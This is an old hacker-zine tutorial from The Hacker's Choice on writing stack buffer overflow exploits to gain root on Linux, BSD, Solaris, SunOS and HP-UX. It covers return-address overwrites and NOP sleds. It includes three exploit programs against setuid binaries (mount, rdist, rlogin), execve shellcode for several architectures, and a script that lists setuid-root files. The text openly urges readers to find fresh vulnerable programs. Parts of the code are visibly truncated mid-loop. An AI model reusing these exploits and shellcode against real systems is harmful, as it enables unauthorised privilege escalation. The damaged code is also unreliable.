-------------------------------------------------------------------------------
øSTACK OVERFLOW EXPLOiTS ON LiNUX/BSDOS/FREEBSD/SUNOS/SOLARiS/HP-UXø
-------------------------------------------------------------------------------
øintroductionø
~~~~~~~~~~~~
welcome to the world of stack overflows, actually i planned an article
explaining the complete operation of stack overflows on pc based unix
systems, but as i read the new phrack magazine issue #49 i realized that
somebody else had already written this article. well, if you want to learn
more about the backgrounds (assembler programming/debugging) of stack
overflows on linux systems and want to read an excellent article get the
latest phrack magazine issue #49, article 14 by aleph one, the most com-
plete article i have ever seen, great job! (phrack49.zip)
but if you are not interested in understanding hundreds of lines pure
i80386 (disassembled) assembler code and want to have a more practical
guide, continue reading this article in order to easily learn how to use
overflow exploits on various unix systems.
øcontentsø
~~~~~~~~
[øaø] øthe stack - small backgroundø
[øbø] østructure of the stackø
[øcø] øabusing the return adressø
[ødø] øexecuting a shell in assemblerø
[øeø] øgetting the real stack adressø
[øfø] øenvironment/command line variablesø
[øgø] øclosing wordsø
exploit[ø1ø] ømount.c - linux version: < 2.0.8ø
exploit[ø2ø] ørdist.c - all bsd version: 2.0ø
exploit[ø3ø] ørlogin.c - solaris version: 2.5 & 2.5.1ø
appendix[øAø] øasm and c code for executionø
appendix[øBø] ønop commands for different systemsø
appendix[øCø] øget_sp() for different systemsø
appendix[øDø] øfindsuid.sh - shellscriptø
[øaø] øthe stack - small backgroundø
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
the main function of every CPU is processing and moving of data. while
processing or moving the CPU needs a place to fast save important
information due the limited space of the registers. these information
are saved to the stack. the stack is a special part of the memory that
can be accessed with special and very fast commands. the stack is variable
in length and position.
e.g. if a register N is used and a sub-procedure is executed that also
uses the register N the CPU will save the value of the register N
onto the stack and restore it after the procedure has terminated. in
order to improve the speed of this process, the CPU uses the special
stack commands that are faster than normal movings in memory.
e.g. if a procedure is executed the CPU needs to know where to return to
if the procedure is terminated, the return adress is saved on the
stack before executing the procedure and after terminatig the proce-
dure the CPU jumps to the return adress stored on the stack.
there is a second function of the stack. if a program creates or receives
data, the new data field will be stored in the memory, all programs use
dynamic data fields to store such information. the CPU creates such fields
on the stack if they are needed and removes them if they are not needed
anymore, local variables or arrays are dynamic.
e.g. if a procedure should exchange two variables (a <-> b), it needs a
third variable c to store one value: c <- a
a <- b
b <- c
the variable c would be installed on the stack and removed after the
procedure has terminated.
for sure you now remember my introducing words promising something like
"easily creating exploits without learning all the shit behind". well,
i'm sorry but you have to know some of the backgrounds, and i try to
explain these as simple as possible. (i could have explained everything
in assembler code ;]
[øbø] øthe structure of the stackø
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
the stack is structured in a way that confuses some people sometimes (like
me), the first stored value will be read as last and the last stored value
will be read as first, this system is called "last in, first out" or LIFO.
now let's take a closer look at the stack, imagine we have just executed
a procedure in a program (just to keep your interest: we will later do
this to gain r00t privileges). how does the stack look like if the
procedure needs some own local (dynamic) variables?
.
.
: ... . .
|-----------------------:
-2048 bytes | local array1[1024] | ...
|-----------------------|
-1024 bytes | local array2[1024] | size 1024 bytes
|-----------------------|
actual stack position | base pointer | size 4 bytes
|-----------------------|
+4 bytes | return adress | size 4 bytes
|-----------------------|
+4 bytes : parameters ... | ...
. :
. .
as you see the different mentioned variables and information are stored on
the stack. every CPU uses a stack pointer to mark the actual position, it
is called SP. the interesting parts of the stack are the local array2 and
the return adress, we don't care about the rest because we want to gain
r00t access and that is all.
[øcø] øabusing the return adressø
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
as you remember before executing a procedure the CPU saves a return adress
onto stack, if the procedure terminates the CPU will jump to the return
adress and continue. but if procedure writes more bytes to a local vari-
able as its size it will overwrite the return adress and this is called
overflow.
e.g. if (1024+8) 1032 times the character "X" is written to the local
array2 in the picture above, the procedure will overwrite its own
return adress. and the stack will look like this:
.
.
: ... . .
|-----------------------:
-2048 bytes | local array1[1024] | ...
|-----------------------|
-1024 bytes | 1024 times "X" | size 1024 bytes
|-----------------------|
actual stack position | 4 times "X" | size 4 bytes
|-----------------------|
+4 bytes | 4 times "X" | size 4 bytes
|-----------------------|
+4 bytes : parameters ... | ...
. :
. .
instead of writing the character "X" onto the return adress, we could
write a new adress onto the stack, we would now force the program to jump
to where we want!
it would be very clever if we jump to an adress where we have placed
some own assembler code that will do something interesting (what do you
guess?), we could create this assembler code in the local variable; in
the example local array2:
.
.
: ... .
|-----------------------:
-2048 bytes | local array1[1024] |
|-----------------------|
-1024 bytes | our code | < -
|-----------------------| |
actual stack position | 4 bytes of crap | |
|-----------------------| |
+4 bytes | adress of our code | ___|
|-----------------------|
+4 bytes : parameters ... |
. :
.
if the program is owned by r00t and has the suid flag so that a normal
user can execute it and it will give the user r00t privileges as long
as it is executed, our code could do something with r00t privilegs!
but what?
[ødø] øexecuting a shell in assemblerø
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
if our code would execute a normal shell and we have created the over-
flow in a program with the suid flag and it is owned by the r00t we would
have a complete r00t shell and the system would finally be hacked. what
we need right now is a short assembler code that will execute a shell,
well it is not necessary to execute a shell you can also execute any other
program.
you can find the corresponding assembler code for the different systems
in the appendix [A] in pure assembler and compiled in a c char field
called "execshell".
if you still want to know how to disassemble such a code read article 14
of the phrack magazine #49 or contact me via email. "/bin/sh" has been
added to the code in most cases (exceptions: sparc code), if you want to
execute a different program just change the char field.
in order to guarantee our code to function we copy it and lots of nops in
the data field that will later be copied to the local variable. (nop is
a shortform of "no operation"). this data field need to be bigger than the
local variable in order to overwrite the return adress. in the following
example lv_size is the size of the local variable we want to overflow and
buffer is the name of the data field (that is also local).
e.g. #define lv_size=1024
char buffer[lv_size+8]
we add exactly 8 bytes, take a closer look at the stack above and youl
will know why. if we want to overwrite the return adress we have to over-
write 4 bytes base pointer and 4 bytes return adress.
the data field buffer should look like this:
...
look at this c code in order to learn how we can do this, lv_size is a
shortform of local variable size, execshell is the char field with our
assembler code and the path of the shell we want to execute. ptr is a
pointer to the field that we will copy over the local variable.
e.g. the easy version: for(i=0;i |-----------------------: ------
-2048 bytes | local array1[1024] | | offset
|-----------------------| | larger
-1024 bytes | <...> | | than
| | | 1024
| | ______|
| | < - OSP + offset
| | |
| | |
|-----------------------| |
actual stack position | 4 bytes of crap | |
|-----------------------| |
+4 bytes | adress: OSP+offset | ___|
|-----------------------|
+4 bytes : parameters ... |
. :
.
in the example we have a local variable in front of the manipulated
variable, so we have to generate an offset that is larger than the size
of this variable.
in order to get the SP value, we use a function called get_sp(), of cause
there are different methods to get this value on different unix system,
i have included several versions in appendix [C]. ptr2 is a long or dword
pointer to ptr which points to the return adress in the buffer.
e.g. the correct code: ptr2=(long *)ptr;
*ptr2=get_sp()+offset;
e.g. the robust code: ptr2=(long *)ptr;
for(i=1;i<8;i++)
*(ptr2++)=get_sp()+offset;
i will use the robust code in my exploits because it writes the return
adress 8 times to the stack, if our estimated stack adress is wrong,
we have still 7 other places where it could jump to.
[øfø] øenvironment/command line variablesø
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
you are for sure now tired of all this basic and theoratical stuff, you
are right, it is time to find a target and attack it. the program that
should be attacked has to be owned by root and has to be set suid. if
you want to find some of these programs just use the the findsuid shell
in appendix[D].
if you have read the upper text parts carefully you now know how to over-
flow the stack by using a local variable, but how can i detect that a
program is vunerable to the overflow bug? there are two main ways of
passing variables to a program the command line and environment variables.
e.g. command line variable: cat /test.file
^ variable (type: char[256])
after loading the machine code of the program and executing the first
procedures the program will copy the command line into a buffer, if there
is no size check you can use the command line to overflow the stack, in
order to find out the size of the command line variable try some chars on
the command line. (e.g. 1024+4, 256+4, 512+4,...) if the program reports
"segmentation fault", you can use the program to get r00t access. of cause
their exist programs with really huge command line e.g. 8000 bytes. if you
have generated a list of suid/root files on your system, just try if there
are vunerable on their command line. the second possibilty is to pass the
variable by using an environment variable.
e.g. environment variable: set TERM=1234
the program will copy the evironment variable TERM to a buffer, but the
size of this buffer can be different, in order to overflow it you need
to check sizes like 256, 512, 1024, 2048 and so on. to find out which
programs use environment variables is not that easy, of cause you can
guess that some programs need to read system information from the en-
viroment variables but the best way to find out is to look inside the
c source files.
In any case try to find out new vulnerable programs, because it is always
better to use exploits that are not common and known to the huge crowd of
lame exploit abusers.
[øgø] øclosing wordsø
~~~~~~~~~~~~~~~~~
after reading all this timewasting crap you should be able to generate
overflow exploits yourself, as a small demonstration i included three
sample exploits (which work). I modified the original sources so they've
got the same variable names as in the examples so that it should be easy for
you to understand the code.
exploits: exploit[1] mount.c - linux version: < 2.0.8
exploit[2] rdist.c - all bsd version: 2.0
exploit[3] rlogin.c - solaris version: 2.5 & 2.5.1
you have an undefined feeling in your stomach; if you want to complain
about this article, if you want to flame or diss me, if you want to have
more information, if you want to swap things or if you just want to leave
a useless mail, feel free to contact me via e-mail...
PLASMOID@USA.NET and soon on the THC server PLASMOID@INSECURITY.ORG
if you are not linked to the internet contact me at the LORE BBS by van
hauser/thc. you can also contact me via IRC i'm normally in the channel
#bluebox if my account is not k-lined ;)
- plasmoid/thc/deep
The Hacker's Choice
Drinking Evil Elite Phreakers
plasmoid deep/thc
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i
mQCNAzJZDKwAAAEEANBXUFXqCzZLKuPj7OwB5O7thWOHlzzsi6SEZfsbiysPU4TL
AMsBuCV4257Rr0//aEMt4CWjAkO3YWcBzBMvGQIDhT06v9SB4LZep6wJlSIsFK3v
L1x+iYzSlvoXOHYSBcjoXA3sDm+kzz49to77Z20bJru7upjHD8iQeMWdAg+hAAUR
tBtwbGFzbW9pZCA8cGxhc21vaWRAdXNhLm5ldD6JAJUDBRAyWQysyJB4xZ0CD6EB
AQ6GBACB1n9DkgHfnC7D245MZPpacEHI8Jwj0DV6inV19E9qWf4VDdXA8+9YLuUV
hsV1/WRX3sJWGWmAQASPitl2tc+7vWw6VC4gjif1XsRttIuNwmvU+DPY7ZULueFe
bKoLI2zXsnWm/+8PMjc6GSYsNrXSpUjqkH6nIt6+sytm2QyWBw==
=Vbcq
-----END PGP PUBLIC KEY BLOCK-----
øexploitø[ø1ø]
~~~~~~~~~~
/* -------------------------------------------------------------------------
mount.c - mount exploit for linux - version: < 2.0.10
discovered by bloodmask&vio/couin
coded by plasmoid/thc/deep for thc-magazine issue #3
12/12/96 - works also on umount
------------------------------------------------------------------------- */
#include
#define lv_size 1024
#define offset 30+lv_size+8*4
// -------------------------------------------------------------------------
long get_sp()
{
__asm__("movl %esp, %eax");
}
// -------------------------------------------------------------------------
main(int argc, char **argv)
{
char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char buffer[lv_size+4*8];
unsigned long *ptr2 = NULL;
char *ptr = NULL;
int i;
for(i=0;i
#define lv_size 256
#define offset 30+lv_size+8*4
// -------------------------------------------------------------------------
long get_sp()
{
__asm__("movl %esp, %eax");
}
// -------------------------------------------------------------------------
main(int argc, char **argv)
{
char execshell[]=
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
char buffer[lv_size+4*8];
unsigned long *ptr2 = NULL;
char *ptr = NULL;
int i;
for(i=0;i
#include
#include
#include
#define BUF_LENGTH 8200
#define EXTRA 100
#define STACK_OFFSET 4000
#define SPARC_NOP 0xa61cc013
u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode);
long_p = (u_long *) buf;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
targ_addr = get_sp() - STACK_OFFSET;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ = targ_addr;
printf("Jumping to address 0x%lx\n", targ_addr);
execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0);
perror("execl failed");
}
øappendixø[øAø]
~~~~~~~~~~~
-------------------------------------------------------------------------------
linux/i80386+
-------------------------------------------------------------------------------
assembler code:
~~~~~~~~~~~~~~
jmp end_of_code
execve: popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
end_of_code: call exec_prog
.string "/bin/sh\"
string for c code:
~~~~~~~~~~~~~~~~~~
char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
-------------------------------------------------------------------------------
bsd/os/i80386+ and freebsd/i80386+
-------------------------------------------------------------------------------
assembler code:
~~~~~~~~~~~~~~~
jmp end_of_code
execve: popl %esi
leal (%esi), %ebx
movl %ebx, 0x0b(%esi)
xorl %edx, %edx
movl %edx, 7(%esi)
movl %edx, 0x0f(%esi)
movl %edx, 0x14(%esi)
movb %edx, 0x19(%esi)
xorl %eax, %eax
movb $59, %al
leal 0x0b(%esi), %ecx
movl %ecx, %edx
pushl %edx
pushl %ecx
pushl %ebx
pushl %eax
jmp bewm
end_of_code: call execve
.string '/bin/sh'
.byte 1, 1, 1, 1
.byte 2, 2, 2, 2
.byte 3, 3, 3, 3
bewm: .byte 0x9a, 4, 4, 4, 4, 7, 4
string for c code:
~~~~~~~~~~~~~~~~~~
char execshell[]=
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
------------------------------------------------------------------------------
solaris/sparc processor
------------------------------------------------------------------------------
assembler code:
~~~~~~~~~~~~~~~
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
string for c code:
~~~~~~~~~~~~~~~~~~
char execshell[59]=
0x2d,0x0b,0xd8,0x9a,0xac,0x15,0xa1,0x6e,0x2f,0x0b,0xdc,0xda,0x90,
0x0b,0x80,0x0e,0x92,0x03,0xa0,0x08,0x94,0x1a,0x80,0x0a,0x9c,0x03,
0xa0,0x10,0xec,0x3b,0xbf,0xf0,0xdc,0x23,0xbf,0xf8,0xc0,0x23,0xbf,
0xfc,0x82,0x10,0x20,0x3b,0x91,0xd0,0x20,0x08,0x90,0x1b,0xc0,0x0f,
0x82,0x10,0x20,0x01,0x91,0xd0,0x20,0x08";
optional version:
char execshell[54]=
0x9fc0202c,0xc0247ff5,0xe227bff0,0xc027bff4,0x9207bff0,0x901d200a,
0x901a200a,0x8210203b,0x91d02008,0x82102001,0x91d02008,0xa3c3e004,
"/bin/sh";
------------------------------------------------------------------------------
sunos/sparc processor
------------------------------------------------------------------------------
assembler code:
~~~~~~~~~~~~~~~
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
string for c code:
~~~~~~~~~~~~~~~~~~
char execshell[63]=
0x2d,0x0b,0xd8,0x9a,0xac,0x15,0xa1,0x6e,0x2f,0x0b,0xdc,0xda,0x90,
0x0b,0x80,0x0e,0x92,0x03,0xa0,0x08,0x94,0x1a,0x80,0x0a,0x9c,0x03,
0xa0,0x10,0xec,0x3b,0xbf,0xf0,0xdc,0x23,0xbf,0xf8,0xc0,0x23,0xbf,
0xfc,0x82,0x10,0x20,0x3b,0xaa,0x10,0x3f,0xff,0x91,0xd5,0x60,0x01,
0x90,0x1b,0xc0,0x0f,0x82,0x10,0x20,0x01,0x91,0xd5,0x60,0x01";
------------------------------------------------------------------------------
hp-ux9/hp9000
------------------------------------------------------------------------------
string for c code:
~~~~~~~~~~~~~~~~~~
char execshell[]=
"\x34\x59\x01\x02\x34\x5a\x01\x32\x37\x5a\x3e\xf9\x6b\x3a\x3f\x01"
"\x63\x40\x3f\xff\x34\x5a\x01\x38\x63\x40\x3f\x35\x37\x5a\x3e\xf9"
"\x6b\x3a\x3f\x09\x63\x40\x3f\xff\x0b\x5a\x02\x9a\x6b\x3a\x3f\x11"
"\x34\x5a\x01\x22\x37\x5a\x3e\xf9\x6f\x3a\x3e\xf9\x20\x20\x08\x01"
"\x34\x16\x01\x1e\xe4\x20\xe0\x08\x36\xd6\x3e\xf9\x0b\x5a\x02\x9a"
"\x20\x20\x08\x01\x34\x16\x01\x0a\xe4\x20\xe0\x08\x36\xd6\x3e\xf9"
"\xe8\x5f\x1f\x35\x0b\x5a\x02\x9a\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x00/bin/sh";
øappendixø[øBø]
~~~~~~~~~~~
-------------------------------------------------------------------------------
no operation - nop - for the different systems
-------------------------------------------------------------------------------
linux/i80386+ - char nop[1]=0x90;
bsd/os/i80386+ and freebsd/i80386+ - char nop[1]=0x90;
solaris/sparc processor - char nop[4]=0xac15a16e;
sunos/sparc processor - char nop[4]=0xac15a16e;
hp-ux9/hp9000 - char nop[4]=0xac15a16e;
øappendixø[øCø]
~~~~~~~~~~~
-------------------------------------------------------------------------------
linux/i80386+ and bsd/os/i80386+ and freebsd/i80386+
-------------------------------------------------------------------------------
getting the stackpointer:
~~~~~~~~~~~~~~~~~~~~~~~~~
long get_sp()
{
__asm__("movl %esp,%eax");
}
-------------------------------------------------------------------------------
solaris/sparc processor and sunos/sparc processor
-------------------------------------------------------------------------------
getting the stackpointer:
~~~~~~~~~~~~~~~~~~~~~~~~~
long get_sp()
{
asm("or %sp, %sp, %i0");
}
øappendixø[øDø]
~~~~~~~~~~
--------------------------------------------------------------------[cut here]-
#!/bin/sh
# findsuid.sh by plasmoid/thc/deep
# important directories for linux system, try different ones
# for other systems (/usr/etc, /usr/local/bin, /usr/local/etc, /usr/sbin)
find /bin -user root -perm +a=s > suid.lst
find /sbin -user root -perm +a=s >> suid.lst
find /usr/bin -user root -perm +a=s >> suid.lst
find /etc -user root -perm +a=s >> suid.lst
find /var -user root -perm +a=s >> suid.lst
--------------------------------------------------------------------[cut here]-